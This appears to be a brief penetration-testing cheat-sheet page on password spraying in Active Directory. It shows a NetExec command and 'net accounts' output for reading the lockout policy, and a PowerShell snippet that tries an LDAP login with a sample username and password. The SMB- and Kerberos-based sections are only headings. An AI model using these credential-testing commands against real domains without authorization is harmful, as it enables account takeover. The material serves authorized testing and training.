Password Spraying
Password Policy
# List the domain's password policy (Linux - NetExec)
nxc smb <target-ip> -u <user> -p <pass> --pass-pol
# List the account policy (Windows)
> net accounts
...
Lockout threshold: 5
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
...LDAP-Based
# Get the domain and PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domain.PdcRoleOwner.Name
# Construct the LDAP path
$ldap = "LDAP://$PDC/DC=" + $domain.Name.Replace('.', ',DC=')
# Attempt authentication
$entry = New-Object System.DirectoryServices.DirectoryEntry($ldap, "pete", "Nexus123!")
# Trigger authentication
$entry.distinguishedName # Triggers authenticationSMB-Based
Kerberos-Based
Last updated